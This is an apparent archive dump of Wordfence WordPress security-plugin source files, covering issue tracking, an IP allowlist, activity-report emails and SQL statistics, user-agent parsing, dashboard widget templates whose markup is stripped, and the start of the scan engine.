$issueList[$i]['data']['site_id']); $issueList[$i]['data']['optionExists'] = $wpdb->get_var($wpdb->prepare("SELECT count(*) FROM {$table_options} WHERE option_name = %s", $issueList[$i]['data']['option_name'])) > 0; } } $issueList[$i]['issueIDX'] = $i; if (isset($issueList[$i]['data']['cType'])) { $issueList[$i]['data']['ucType'] = ucwords($issueList[$i]['data']['cType']); } } } return $ret; //array of lists of issues by status } public function getPendingIssues($offset = 0, $limit = 100){ /** @var wpdb $wpdb */ global $wpdb; $issues = $this->getDB()->querySelect("SELECT * FROM {$this->pendingIssuesTable} ORDER BY id ASC LIMIT %d,%d", $offset, $limit); foreach($issues as &$i){ $i['data'] = unserialize($i['data']); } return $issues; } public function getFixableIssueCount() { global $wpdb; $issues = $this->getDB()->querySelect("SELECT * FROM {$this->issuesTable} WHERE data LIKE '%s:6:\"canFix\";b:1;%'"); $count = 0; foreach ($issues as $i) { $i['data'] = unserialize($i['data']); if (isset($i['data']['canFix']) && $i['data']['canFix']) { $count++; } } return $count; } public function getDeleteableIssueCount() { global $wpdb; $issues = $this->getDB()->querySelect("SELECT * FROM {$this->issuesTable} WHERE data LIKE '%s:9:\"canDelete\";b:1;%'"); $count = 0; foreach ($issues as $i) { $i['data'] = unserialize($i['data']); if (isset($i['data']['canDelete']) && $i['data']['canDelete']) { $count++; } } return $count; } public function getIssueCount() { return (int) $this->getDB()->querySingle("select COUNT(*) from " . $this->issuesTable . " WHERE status = 'new'"); } public function getPendingIssueCount() { return (int) $this->getDB()->querySingle("select COUNT(*) from " . $this->pendingIssuesTable . " WHERE status = 'new'"); } public function getLastIssueUpdateTimestamp() { return (int) $this->getDB()->querySingle("select MAX(lastUpdated) from " . $this->issuesTable); } public function reconcileUpgradeIssues($report = null, $useCachedValued = false) { if ($report === null) { $report = new wfActivityReport(); } $updatesNeeded = $report->getUpdatesNeeded($useCachedValued); if ($updatesNeeded) { if (!$updatesNeeded['core']) { $this->deleteUpdateIssues('wfUpgrade'); } if ($updatesNeeded['plugins']) { $upgradeNames = array(); foreach ($updatesNeeded['plugins'] as $p) { $name = $p['Name']; $upgradeNames[$name] = 1; } $upgradeIssues = $this->getDB()->querySelect("SELECT * FROM {$this->issuesTable} WHERE status = 'new' AND type = 'wfPluginUpgrade'"); foreach ($upgradeIssues as $issue) { $data = unserialize($issue['data']); $name = $data['Name']; if (!isset($upgradeNames[$name])) { //Some plugins don't have a slug associated with them, so we anchor on the name $this->deleteIssue($issue['id']); } } } else { $this->deleteUpdateIssues('wfPluginUpgrade'); } if ($updatesNeeded['themes']) { $upgradeNames = array(); foreach ($updatesNeeded['themes'] as $t) { $name = $t['Name']; $upgradeNames[$name] = 1; } $upgradeIssues = $this->getDB()->querySelect("SELECT * FROM {$this->issuesTable} WHERE status = 'new' AND type = 'wfThemeUpgrade'"); foreach ($upgradeIssues as $issue) { $data = unserialize($issue['data']); $name = $data['Name']; if (!isset($upgradeNames[$name])) { //Some themes don't have a slug associated with them, so we anchor on the name $this->deleteIssue($issue['id']); } } } else { $this->deleteUpdateIssues('wfThemeUpgrade'); } } else { $this->deleteAllUpdateIssues(); } wfScanEngine::refreshScanNotification($this); } private function getDB(){ if(! $this->db){ $this->db = new wfDB(); } return $this->db; } /** * @return string */ public function getIssuesTable() { return $this->issuesTable; } private static function getRealFileTokenKey($realFile) { return 'wf-real-file-' . base64_encode($realFile); } private static function generateRealFileToken($realFile) { $key = self::getRealFileTokenKey($realFile); return wp_create_nonce($key); } public static function verifyRealFileToken($token, $realFile) { $key = self::getRealFileTokenKey($realFile); return wp_verify_nonce($token, $key); } }wfIPWhitelist.php000064400000003074147206764270010042 0ustar00 array( //We've modified this and removed some addresses which may be routable on the Net and cause auto-whitelisting. //'0.0.0.0/8', #Broadcast addr '10.0.0.0/8', #Private addrs //'100.64.0.0/10', #carrier-grade-nat for comms between ISP and subscribers '127.0.0.0/8', #loopback //'169.254.0.0/16', #link-local when DHCP fails e.g. os x '172.16.0.0/12', #private addrs '192.0.0.0/29', #used for NAT with IPv6, so basically a private addr //'192.0.2.0/24', #Only for use in docs and examples, not for public use //'192.88.99.0/24', #Used by 6to4 anycast relays '192.168.0.0/16', #Used for local communications within a private network //'198.18.0.0/15', #Used for testing of inter-network communications between two separate subnets //'198.51.100.0/24', #Assigned as "TEST-NET-2" in RFC 5737 for use solely in documentation and example source code and should not be used publicly. //'203.0.113.0/24', #Assigned as "TEST-NET-3" in RFC 5737 for use solely in documentation and example source code and should not be used publicly. //'224.0.0.0/4', #Reserved for multicast assignments as specified in RFC 5771 //'240.0.0.0/4', #Reserved for future use, as specified by RFC 6890 //'255.255.255.255/32', #Reserved for the "limited broadcast" destination address, as specified by RFC 6890 ), 'wordfence' => array( '54.68.32.247', // Central @ AWS '44.235.211.232', '54.71.203.174' ), ); wfActivityReport.php000064400000050721147206764270010626 0ustar00db = $wpdb; $this->limit = $limit; } /** * Schedule the activity report cron job. */ public static function scheduleCronJob() { self::clearCronJobs(); if (!wfConfig::get('email_summary_enabled', 1)) { return; } if (is_main_site()) { list(, $end_time) = wfActivityReport::getReportDateRange(); wp_schedule_single_event($end_time, 'wordfence_email_activity_report'); } } /** * Remove the activity report cron job. */ public static function disableCronJob() { self::clearCronJobs(); } public static function clearCronJobs() { wp_clear_scheduled_hook('wordfence_email_activity_report'); } /** * Send out the report and reschedule the next report's cron job. */ public static function executeCronJob() { if (!wfConfig::get('email_summary_enabled', 1)) { return; } $emails = wfConfig::getAlertEmails(); if (count($emails)) { $report = new self(); $report->sendReportViaEmail($emails); } self::scheduleCronJob(); } /** * Output a compact version of the email for the WP dashboard. */ public static function outputDashboardWidget() { $report = new self(5); echo $report->toWidgetView(); } /** * @return array */ public static function getReportDateRange() { $interval = wfConfig::get('email_summary_interval', 'weekly'); $offset = get_option('gmt_offset'); return self::_getReportDateRange($interval, $offset); } /** * Testable code. * * @param string $interval * @param int $offset * @param null $time * @return array */ public static function _getReportDateRange($interval = 'weekly', $offset = 0, $time = null) { if ($time === null) { $time = time(); } $day = (int) gmdate('w', $time); $month = (int) gmdate("n", $time); $day_of_month = (int) gmdate("j", $time); $year = (int) gmdate("Y", $time); $start_time = 0; $end_time = 0; switch ($interval) { // Send a report 4pm every day case 'daily': $start_time = gmmktime(16, 0, 0, $month, $day_of_month, $year) + (-$offset * 60 * 60); $end_time = $start_time + 86400; break; // Send a report 4pm every Monday case 'weekly': $start_time = gmmktime(16, 0, 0, $month, $day_of_month - $day + 1, $year) + (-$offset * 60 * 60); $end_time = $start_time + (86400 * 7); break; // Send a report at 4pm the first of every month case 'monthly': $start_time = gmmktime(16, 0, 0, $month, 1, $year) + (-$offset * 60 * 60); $end_time = gmmktime(16, 0, 0, $month + 1, 1, $year) + (-$offset * 60 * 60); break; } return array($start_time, $end_time); } /** * @return int */ public static function getReportDateFrom() { $interval = wfConfig::get('email_summary_interval', 'weekly'); return self::_getReportDateFrom($interval); } /** * @param string $interval * @param null $time * @return int */ public static function _getReportDateFrom($interval = 'weekly', $time = null) { if ($time === null) { $time = time(); } // weekly $from = $time - (86400 * 7); switch ($interval) { case 'daily': $from = $time - 86400; break; // Send a report at 4pm the first of every month case 'monthly': $from = strtotime('-1 month', $time); break; } return $from; } /** * @return array */ public function getFullReport() { $start_time = microtime(true); $remainder = 0; $recent_firewall_activity = $this->getRecentFirewallActivity($this->limit, $remainder); return array( 'top_ips_blocked' => $this->getTopIPsBlocked($this->limit), 'top_countries_blocked' => $this->getTopCountriesBlocked($this->limit), 'top_failed_logins' => $this->getTopFailedLogins($this->limit), 'recent_firewall_activity' => $recent_firewall_activity, 'omitted_firewall_activity'=> $remainder, 'recently_modified_files' => $this->getRecentFilesModified($this->limit), 'updates_needed' => $this->getUpdatesNeeded(), 'microseconds' => microtime(true) - $start_time, ); } /** * @return array */ public function getWidgetReport() { $start_time = microtime(true); return array( 'top_ips_blocked' => $this->getTopIPsBlocked($this->limit), 'top_countries_blocked' => $this->getTopCountriesBlocked($this->limit), 'top_failed_logins' => $this->getTopFailedLogins($this->limit), 'updates_needed' => $this->getUpdatesNeeded(), 'microseconds' => microtime(true) - $start_time, ); } public function getBlockedCount($maxAgeDays = null, $grouping = null) { $maxAgeDays = (int) $maxAgeDays; if ($maxAgeDays <= 0) { $interval = 'FLOOR(UNIX_TIMESTAMP(DATE_SUB(NOW(), interval 7 day)) / 86400)'; switch (wfConfig::get('email_summary_interval', 'weekly')) { case 'daily': $interval = 'FLOOR(UNIX_TIMESTAMP(DATE_SUB(NOW(), interval 1 day)) / 86400)'; break; case 'monthly': $interval = 'FLOOR(UNIX_TIMESTAMP(DATE_SUB(NOW(), interval 1 month)) / 86400)'; break; } } else { $interval = 'FLOOR(UNIX_TIMESTAMP(DATE_SUB(NOW(), interval ' . $maxAgeDays . ' day)) / 86400)'; } //Possible values for blockType: throttle, manual, brute, fakegoogle, badpost, country, advanced, blacklist, waf $groupingWHERE = ''; switch ($grouping) { case self::BLOCK_TYPE_COMPLEX: $groupingWHERE = ' AND blockType IN ("fakegoogle", "badpost", "country", "advanced", "waf")'; break; case self::BLOCK_TYPE_BRUTE_FORCE: $groupingWHERE = ' AND blockType IN ("throttle", "brute")'; break; case self::BLOCK_TYPE_BLACKLIST: $groupingWHERE = ' AND blockType IN ("blacklist", "manual")'; break; } $table_wfBlockedIPLog = wfDB::networkTable('wfBlockedIPLog'); $count = $this->db->get_var(<<= {$interval}{$groupingWHERE} SQL ); return $count; } /** * @param int $limit * @return mixed */ public function getTopIPsBlocked($limit = 10, $maxAgeDays = null) { $maxAgeDays = (int) $maxAgeDays; if ($maxAgeDays <= 0) { $interval = 'FLOOR(UNIX_TIMESTAMP(DATE_SUB(NOW(), interval 7 day)) / 86400)'; switch (wfConfig::get('email_summary_interval', 'weekly')) { case 'daily': $interval = 'FLOOR(UNIX_TIMESTAMP(DATE_SUB(NOW(), interval 1 day)) / 86400)'; break; case 'monthly': $interval = 'FLOOR(UNIX_TIMESTAMP(DATE_SUB(NOW(), interval 1 month)) / 86400)'; break; } } else { $interval = 'FLOOR(UNIX_TIMESTAMP(DATE_SUB(NOW(), interval ' . $maxAgeDays . ' day)) / 86400)'; } $table_wfBlockedIPLog = wfDB::networkTable('wfBlockedIPLog'); $query=<<= {$interval} GROUP BY IP ORDER BY blockCount DESC LIMIT %d SQL; $results = $this->db->get_results($this->db->prepare($query, $limit)); if ($results) { foreach ($results as &$row) { $row->countryName = $this->getCountryNameByCode($row->countryCode); } } return $results; } /** * @param int $limit * @return array */ public function getTopCountriesBlocked($limit = 10, $maxAgeDays = null) { $maxAgeDays = (int) $maxAgeDays; if ($maxAgeDays <= 0) { $interval = 'FLOOR(UNIX_TIMESTAMP(DATE_SUB(NOW(), interval 7 day)) / 86400)'; switch (wfConfig::get('email_summary_interval', 'weekly')) { case 'daily': $interval = 'FLOOR(UNIX_TIMESTAMP(DATE_SUB(NOW(), interval 1 day)) / 86400)'; break; case 'monthly': $interval = 'FLOOR(UNIX_TIMESTAMP(DATE_SUB(NOW(), interval 1 month)) / 86400)'; break; } } else { $interval = 'FLOOR(UNIX_TIMESTAMP(DATE_SUB(NOW(), interval ' . $maxAgeDays . ' day)) / 86400)'; } $table_wfBlockedIPLog = wfDB::networkTable('wfBlockedIPLog'); $query=<<= {$interval} GROUP BY IP) t GROUP BY countryCode ORDER BY totalBlockCount DESC LIMIT %d SQL; $results = $this->db->get_results($this->db->prepare($query, $limit)); if ($results) { foreach ($results as &$row) { $row->countryName = $this->getCountryNameByCode($row->countryCode); } } return $results; } /** * @param int $limit * @return mixed */ public function getTopFailedLogins($limit = 10) { $interval = 'UNIX_TIMESTAMP(DATE_SUB(NOW(), interval 7 day))'; switch (wfConfig::get('email_summary_interval', 'weekly')) { case 'daily': $interval = 'UNIX_TIMESTAMP(DATE_SUB(NOW(), interval 1 day))'; break; case 'monthly': $interval = 'UNIX_TIMESTAMP(DATE_SUB(NOW(), interval 1 month))'; break; } $table_wfLogins = wfDB::networkTable('wfLogins'); $failedLogins = $this->db->get_results($this->db->prepare(<< $interval GROUP BY wfl.username ORDER BY fail_count DESC LIMIT %d SQL , $limit)); foreach ($failedLogins as &$login) { $exists = $this->db->get_var($this->db->prepare(<<db->users} WHERE user_login = '%s' OR user_email = '%s' SQL , $login->username, $login->username)); $login->is_valid_user = $exists; } return $failedLogins; } /** * Returns any updates needs or false if everything is up to date. * * @return array|bool */ public function getUpdatesNeeded($useCachedValued = true) { $update_check = new wfUpdateCheck(); $needs_update = $update_check->checkAllUpdates($useCachedValued) ->needsAnyUpdates(); if ($needs_update) { return array( 'core' => $update_check->getCoreUpdateVersion(), 'plugins' => $update_check->getPluginUpdates(), 'themes' => $update_check->getThemeUpdates(), ); } return false; } /** * Returns list of firewall activity up to $limit number of entries. * * @param int $limit Max events to return in results * @param int $remainder * @return array */ public function getRecentFirewallActivity($limit, &$remainder) { $dateRange = wfActivityReport::getReportDateRange(); $recent_firewall_activity = new wfRecentFirewallActivity(null, max(604800, $dateRange[1] - $dateRange[0])); $recent_firewall_activity->run(); return $recent_firewall_activity->mostRecentActivity($limit, $remainder); } /** * Returns list of files modified within given timeframe. * * @todo Add option to configure the regex used to filter files allowed in this list. * @todo Add option to exclude directories (such as cache directories). * * @param string $directory Search for files within this directory * @param int $time_range One week * @param int $limit Max files to return in results * @param int $directory_limit Hard limit for number of files to search within a directory. * @return array */ public function getRecentFilesModified($limit = 300, $directory = ABSPATH, $time_range = 604800, $directory_limit = 20000) { $recently_modified = new wfRecentlyModifiedFiles($directory); $recently_modified->run(); return $recently_modified->mostRecentFiles($limit); } /** * Remove entries older than a month in the IP log. */ public function rotateIPLog() { $table_wfBlockedIPLog = wfDB::networkTable('wfBlockedIPLog'); $this->db->query(<<query($wpdb->prepare(<<getFullReport() + array( 'limit' => $this->getLimit(), )); } /** * @return wfActivityReportView */ public function toWidgetView() { return new wfActivityReportView('reports/activity-report', $this->getWidgetReport() + array( 'limit' => $this->getLimit(), )); } /** * @return wfActivityReportView */ public function toEmailView() { return new wfActivityReportView('reports/activity-report-email-inline', $this->getFullReport()); } /** * @param $email_addresses string|array * @return bool */ public function sendReportViaEmail($email_addresses) { $shortSiteURL = preg_replace('/^https?:\/\//i', '', site_url()); $content = $this->toEmailView()->__toString(); $success = true; if (is_string($email_addresses)) { $email_addresses = explode(',', $email_addresses); } foreach ($email_addresses as $email) { $uniqueContent = str_replace('', wp_kses(sprintf(/* translators: URL to the WordPress admin panel. */ __('No longer an administrator for this site? Click here to stop receiving security alerts.', 'wordfence'), wfUtils::getSiteBaseURL() . '?_wfsf=removeAlertEmail&jwt=' . wfUtils::generateJWT(array('email' => $email))), array('a'=>array('href'=>array(), 'target'=>array()))), $content); if (!wp_mail($email, sprintf(/* translators: 1. Site URL. 2. Localized date. */ __('Wordfence activity for %1$s on %2$s', 'wordfence'), date_i18n(get_option('date_format')), $shortSiteURL), $uniqueContent, 'Content-Type: text/html')) { $success = false; } } return $success; } /** * @return string * @throws wfViewNotFoundException */ public function render() { return $this->toView() ->render(); } /** * @return string */ public function __toString() { return $this->toView() ->__toString(); } /** * @return int */ public function getLimit() { return $this->limit; } /** * @param int $limit */ public function setLimit($limit) { $this->limit = $limit; } } class wfRecentFirewallActivity { private $activity = array(); private $max_fetch = 2000; private $time_range = 604800; public function __construct($max_fetch = null, $time_range = null) { if ($max_fetch !== null) { $this->max_fetch = $max_fetch; } if ($time_range !== null) { $this->time_range = $time_range; } } public function run() { global $wpdb; $table_wfHits = wfDB::networkTable('wfHits'); $results = $wpdb->get_results($wpdb->prepare(<< (UNIX_TIMESTAMP() - %d) ORDER BY attackLogTime DESC LIMIT %d SQL , $this->time_range, $this->max_fetch)); if ($results) { foreach ($results as &$row) { $actionData = json_decode($row->actionData, true); if (!is_array($actionData) || !isset($actionData['paramKey']) || !isset($actionData['paramValue'])) { continue; } if (isset($actionData['failedRules']) && $actionData['failedRules'] == 'blocked') { $row->longDescription = __("Blocked because the IP is blocklisted", 'wordfence'); } else { $row->longDescription = sprintf(__("Blocked for %s", 'wordfence'), $row->actionDescription); } $paramKey = base64_decode($actionData['paramKey']); $paramValue = base64_decode($actionData['paramValue']); if (strlen($paramValue) > 100) { $paramValue = substr($paramValue, 0, 100) . '...'; } if (preg_match('/([a-z0-9_]+\.[a-z0-9_]+)(?:\[(.+?)\](.*))?/i', $paramKey, $matches)) { switch ($matches[1]) { case 'request.queryString': $row->longDescription = sprintf(__('Blocked for %1$s in query string: %2$s = %3$s', 'wordfence'), $row->actionDescription, $matches[2], $paramValue); break; case 'request.body': $row->longDescription = sprintf(__('Blocked for %1$s in POST body: %2$s = %3$s', 'wordfence'), $row->actionDescription, $matches[2], $paramValue); break; case 'request.cookie': $row->longDescription = sprintf(__('Blocked for %1$s in cookie: %2$s = %3$s', 'wordfence'), $row->actionDescription, $matches[2], $paramValue); break; case 'request.fileNames': $row->longDescription = sprintf(__('Blocked for %1$s in file: %2$s = %3$s', 'wordfence'), $row->actionDescription, $matches[2], $paramValue); break; } } } } $this->activity = $results; } public function mostRecentActivity($limit, &$remainder = null) { if ($remainder !== null) { $remainder = count($this->activity) - $limit; } return array_slice($this->activity, 0, $limit); } } class wfRecentlyModifiedFiles extends wfDirectoryIterator { /** * @var int */ private $time_range = 604800; /** * @var array */ private $files = array(); private $excluded_directories; /** * @param string $directory * @param int $max_files_per_directory * @param int $max_iterations * @param int $time_range */ public function __construct($directory = ABSPATH, $max_files_per_directory = 20000, $max_iterations = 250000, $time_range = 604800) { parent::__construct($directory, $max_files_per_directory, $max_iterations); $this->time_range = $time_range; $excluded_directories = explode("\n", wfUtils::cleanupOneEntryPerLine(wfConfig::get('email_summary_excluded_directories', ''))); $this->excluded_directories = array(); foreach ($excluded_directories as $index => $path) { if (($dir = realpath(ABSPATH . $path)) !== false) { $this->excluded_directories[$dir] = 1; } } } /** * @param $dir * @return bool */ protected function scan($dir) { if (!array_key_exists(realpath($dir), $this->excluded_directories)) { return parent::scan($dir); } return true; } /** * @param string $file */ public function file($file) { $mtime = filemtime($file); if (time() - $mtime < $this->time_range) { $this->files[] = array($file, $mtime); } } /** * @param int $limit * @return array */ public function mostRecentFiles($limit = 300) { usort($this->files, array( $this, '_sortMostRecentFiles', )); return array_slice($this->files, 0, $limit); } /** * Sort in descending order. * * @param $a * @param $b * @return int */ private function _sortMostRecentFiles($a, $b) { if ($a[1] > $b[1]) { return -1; } if ($a[1] < $b[1]) { return 1; } return 0; } /** * @return mixed */ public function getFiles() { return $this->files; } } class wfActivityReportView extends wfView { /** * @param $file * @return string */ public function displayFile($file) { $realPath = realpath($file); if (stripos($realPath, ABSPATH) === 0) { return substr($realPath, strlen(ABSPATH)); } return $realPath; } /** * @param null $unix_time * @return string */ public function modTime($unix_time = null) { if ($unix_time === null) { $unix_time = time(); } return wfUtils::formatLocalTime('F j, Y g:ia', $unix_time); } public function attackTime($unix_time = null) { if ($unix_time === null) { $unix_time = time(); } return wfUtils::formatLocalTime('F j, Y', $unix_time) . "
" . wfUtils::formatLocalTime('g:ia', $unix_time); } public function displayIP($binaryIP) { $readableIP = wfUtils::inet_ntop($binaryIP); $country = wfUtils::countryCode2Name(wfUtils::IP2Country($readableIP)); return "{$readableIP} (" . ($country ? $country : __('Unknown', 'wordfence')) . ")"; } } }IPTrafList.php000064400000005756147206764270007272 0ustar00 $v) { ?> ' . esc_html__('Seconds since last hit:', 'wordfence') . ''; } ?>
' . $v['timeSinceLastHit'] . '
()
Type: ' . esc_html__('Page not found', 'wordfence') . ''; } else if ($v['type'] == 'hit') { esc_html_e('Normal request', 'wordfence'); } ?>
()
()
wfBrowscap.php000064400000007634147206764270007423 0ustar00_cacheLoaded) { if (!$this->_loadCache(dirname(__FILE__) . '/wfBrowscapCache.php')) { throw new Exception('Cannot load this cache version - the cache format is not compatible.'); } } $browser = array(); foreach ($this->_patterns as $pattern => $pattern_data) { if (preg_match($pattern . 'i', $user_agent, $matches)) { if (1 == count($matches)) { $key = $pattern_data; $simple_match = true; } else { $pattern_data = unserialize($pattern_data); array_shift($matches); $match_string = self::COMPRESSION_PATTERN_START . implode(self::COMPRESSION_PATTERN_DELIMITER, $matches); if (!isset($pattern_data[$match_string])) { continue; } $key = $pattern_data[$match_string]; $simple_match = false; } $browser = array( $user_agent, trim(strtolower($pattern), self::REGEX_DELIMITER), $this->_pregUnQuote($pattern, $simple_match ? false : $matches) ); $browser = $value = $browser + unserialize($this->_browsers[$key]); while (array_key_exists(3, $value)) { $value = unserialize($this->_browsers[$value[3]]); $browser += $value; } if (!empty($browser[3])) { $browser[3] = $this->_userAgents[$browser[3]]; } break; } } $array = array(); foreach ($browser as $key => $value) { if ($value === 'true') { $value = true; } elseif ($value === 'false') { $value = false; } $array[$this->_properties[$key]] = $value; } return $array; } protected function _loadCache($cache_file){ $cache_version = null; $browsers = array(); $userAgents = array(); $patterns = array(); $properties = array(); $this->_cacheLoaded = false; require $cache_file; $this->_browsers = $browsers; $this->_userAgents = $userAgents; $this->_patterns = $patterns; $this->_properties = $properties; $this->_cacheLoaded = true; return true; } protected function _pregUnQuote($pattern, $matches){ $search = array( '\\' . self::REGEX_DELIMITER, '\\.', '\\\\', '\\+', '\\[', '\\^', '\\]', '\\$', '\\(', '\\)', '\\{', '\\}', '\\=', '\\!', '\\<', '\\>', '\\|', '\\:', '\\-', '.*', '.', '\\?' ); $replace = array( self::REGEX_DELIMITER, '\\?', '\\', '+', '[', '^', ']', '$', '(', ')', '{', '}', '=', '!', '<', '>', '|', ':', '-', '*', '?', '.' ); $result = substr(str_replace($search, $replace, $pattern), 2, -2); if ($matches) { foreach ($matches as $one_match) { $num_pos = strpos($result, '(\d)'); $result = substr_replace($result, $one_match, $num_pos, 4); } } return $result; } }wfRESTAPI.php000064400000000571147206764270006743 0ustar00namespace . '/' . $controller->rest_base, '/'); } public function _wfGetURLBase() { return rtrim($this->namespace, '/' . $this->rest_base, '/'); } } } dashboard/widget_notifications.php000064400000017206147206764270013445 0ustar00
notifications)); ?>
    notifications as $n): ?>
  • html; ?>
    links as $l): ?>
  • notifications) == 0): ?>

wordfenceCentralConnected) { echo esc_html(sprintf( /* translators: 1. Email address. 2. Localized date. */ __('Connected by %1$s on %2$s', 'wordfence'), $d->wordfenceCentralConnectEmail, date_i18n(get_option('date_format'), $d->wordfenceCentralConnectTime))); } elseif ($d->wordfenceCentralDisconnected) { echo esc_html(sprintf( /* translators: 1. Email address. 2. Localized date. */ __('Disconnected by %1$s on %2$s', 'wordfence'), $d->wordfenceCentralDisconnectEmail, date_i18n(get_option('date_format'), $d->wordfenceCentralDisconnectTime))); } elseif (wfCentral::isPartialConnection()) { _e('It looks like you\'ve tried to connect this site to Wordfence Central, but the installation did not finish.', 'wordfence'); } else { _e('Wordfence Central allows you to manage Wordfence on multiple sites from one location. It makes security monitoring and configuring Wordfence easier.', 'wordfence'); } ?>

dashboard/widget_localattacks.php000064400000011101147206764270013225 0ustar00
learningModeStatus() !== false): ?>
  • localBlocks as $row) { if ($row['24h'] > 0 || $row['7d'] > 0 || $row['30d'] > 0) { $hasSome = true; break; } } if (!$hasSome): ?>

    0, '7d' => 0, '30d' => 0); foreach ($d->localBlocks as $row): ?> __('Today', 'wordfence'), '7d' => __('Week', 'wordfence'), '30d' => __('Month', 'wordfence')); foreach ($keys as $k => $title): ?> localBlocks as $row): ?> > localBlocks as $row): ?> >
    Block Type', 'wordfence'), array('span'=>array('class'=>array()))); ?> >

    ()

dashboard/widget_ips.php000064400000014715147206764270011371 0ustar00
learningModeStatus() !== false): ?>
    ips24h) == 0): ?>

    ips24h, 0, min($limit, count($d->ips24h)), true); include(dirname(__FILE__) . '/widget_content_ips.php'); ?> ips24h) > $limit && $initial): ?>
    ips7d) == 0): ?>

    ips7d, 0, min($limit, count($d->ips7d)), true); include(dirname(__FILE__) . '/widget_content_ips.php'); ?> ips7d) > $limit && $initial): ?>
    ips30d) == 0): ?>

    ips30d, 0, min($limit, count($d->ips30d)), true); include(dirname(__FILE__) . '/widget_content_ips.php'); ?> ips30d) > $limit && $initial): ?>
dashboard/widget_content_logins.php000064400000001563147206764270013620 0ustar00 timestamp, 'name' => username, 'ip' => IP address) ?>
dashboard/widget_networkattacks.php000064400000016767147206764270013653 0ustar00
  • networkBlock24h === null): ?>

lastGenerated))); ?>

dashboard/widget_content_countries.php000064400000001547147206764270014342 0ustar00 binary ip, 'countryCode' => string, 'blockCount' => int, 'unixday' => int, 'totalIPs' => int, 'totalBlockCount' => int, 'countryName' => string) ?>
dashboard/widget_logins.php000064400000011277147206764270012071 0ustar00
    loginsSuccess) == 0): ?>

    loginsSuccess, 0, min(10, count($d->loginsSuccess)), true); include(dirname(__FILE__) . '/widget_content_logins.php'); ?> loginsSuccess) > 10): ?>
    loginsFail) == 0): ?>

    loginsFail, 0, min(10, count($d->loginsFail)), true); include(dirname(__FILE__) . '/widget_content_logins.php'); ?> loginsFail) > 10): ?>
dashboard/widget_content_ips.php000064400000001652147206764270013117 0ustar00 binary ip, 'countryCode' => string, 'blockCount' => int, 'unixday' => int, 'countryName' => string) ?>
dashboard/widget_countries.php000064400000007201147206764270012601 0ustar00
learningModeStatus() !== false): ?>
  • countriesNetwork) && count($d->countriesNetwork) > 0): ?>
    countriesLocal) || count($d->countriesLocal) == 0): ?>

    countriesLocal, 0, min(10, count($d->countriesLocal)), true); include(dirname(__FILE__) . '/widget_content_countries.php'); ?>
    countriesNetwork) || count($d->countriesNetwork) == 0): ?>

    countriesNetwork, 0, min(10, count($d->countriesNetwork)), true); include(dirname(__FILE__) . '/widget_content_countries.php'); ?>
live_activity.php000064400000001104147206764270010143 0ustar00

wfScan.php000064400000037654147206764270006534 0ustar00/false based * on whether or not the cronkey is expired. * * @param null $expired * @return bool|string */ private static function storedCronKey(&$expired = null) { $currentCronKey = wfConfig::get('currentCronKey', false); if (empty($currentCronKey)) { if ($expired !== null) { $expired = false; } return false; } $savedKey = explode(',',$currentCronKey); if (time() - $savedKey[0] > 86400) { if ($expired !== null) { $expired = $savedKey[0]; } return $savedKey[1]; } if ($expired !== null) { $expired = false; } return $savedKey[1]; } public static function wfScanMain(){ self::$peakMemAtStart = memory_get_peak_usage(true); $db = new wfDB(); if($db->errorMsg){ self::errorExit(sprintf(/* translators: Error message. */ __("Could not connect to database to start scan: %s", 'wordfence'), $db->errorMsg)); } if(! wordfence::wfSchemaExists()){ self::errorExit(__("Looks like the Wordfence database tables have been deleted. You can fix this by de-activating and re-activating the Wordfence plugin from your Plugins menu.", 'wordfence')); } if( isset( $_GET['test'] ) && $_GET['test'] == '1'){ echo "WFCRONTESTOK:" . wfConfig::get('cronTestID'); self::status(4, 'info', __("Cron test received and message printed", 'wordfence')); exit(); } self::status(4, 'info', __("Scan engine received request.", 'wordfence')); /* ----------Starting signature check -------- */ self::status(4, 'info', __("Verifying start request signature.", 'wordfence')); if (!isset($_GET['signature']) || !wfScanEngine::verifyStartSignature($_GET['signature'], isset($_GET['isFork']) ? wfUtils::truthyToBoolean($_GET['isFork']) : false, isset($_GET['scanMode']) ? $_GET['scanMode'] : '', isset($_GET['cronKey']) ? $_GET['cronKey'] : '', isset($_GET['remote']) ? wfUtils::truthyToBoolean($_GET['remote']) : false)) { self::errorExit(__('The signature on the request to start a scan is invalid. Please try again.', 'wordfence')); } /* ----------Starting cronkey check -------- */ self::status(4, 'info', __("Fetching stored cronkey for comparison.", 'wordfence')); $expired = false; $storedCronKey = self::storedCronKey($expired); $displayCronKey_received = (isset($_GET['cronKey']) ? (preg_match('/^[a-f0-9]+$/i', $_GET['cronKey']) && strlen($_GET['cronKey']) == 32 ? $_GET['cronKey'] : __('[invalid]', 'wordfence')) : __('[none]', 'wordfence')); $displayCronKey_stored = (!empty($storedCronKey) && !$expired ? $storedCronKey : __('[none]', 'wordfence')); self::status(4, 'info', sprintf(/* translators: 1. WordPress nonce. 2. WordPress nonce. */ __('Checking cronkey: %1$s (expecting %2$s)', 'wordfence'), $displayCronKey_received, $displayCronKey_stored)); if (empty($_GET['cronKey'])) { self::status(4, 'error', __("Wordfence scan script accessed directly, or WF did not receive a cronkey.", 'wordfence')); echo "If you see this message it means Wordfence is working correctly. You should not access this URL directly. It is part of the Wordfence security plugin and is designed for internal use only."; exit(); } if ($expired) { self::errorExit(sprintf( /* translators: 1. Unix timestamp. 2. WordPress nonce. 3. Unix timestamp. */ __('The key used to start a scan expired. The value is: %1$s and split is: %2$s and time is: %3$d', 'wordfence'), $expired, $storedCronKey, time())); } //keys only last 60 seconds and are used within milliseconds of creation if (!$storedCronKey) { wordfence::status(4, 'error', __("Wordfence could not find a saved cron key to start the scan so assuming it started and exiting.", 'wordfence')); exit(); } self::status(4, 'info', __("Checking saved cronkey against cronkey param", 'wordfence')); if (!hash_equals($storedCronKey, $_GET['cronKey'])) { self::errorExit( sprintf( /* translators: 1. WordPress nonce (used for debugging). 2. WordPress nonce (used for debugging). 3. WordPress nonce (used for debugging). */ __('Wordfence could not start a scan because the cron key does not match the saved key. Saved: %1$s Sent: %2$s Current unexploded: %3$s', 'wordfence'), $storedCronKey, $_GET['cronKey'], wfConfig::get('currentCronKey', false) ) ); } wfConfig::set('currentCronKey', ''); /* --------- end cronkey check ---------- */ wfScanMonitor::logLastSuccess(); $scanMode = wfScanner::SCAN_TYPE_STANDARD; if (isset($_GET['scanMode']) && wfScanner::isValidScanType($_GET['scanMode'])) { $scanMode = $_GET['scanMode']; } $scanController = new wfScanner($scanMode); wfConfig::remove('scanStartAttempt'); $isFork = ($_GET['isFork'] == '1' ? true : false); wfScanMonitor::handleStageStart($isFork); if(! $isFork){ self::status(4, 'info', __("Checking if scan is already running", 'wordfence')); if(! wfUtils::getScanLock()){ 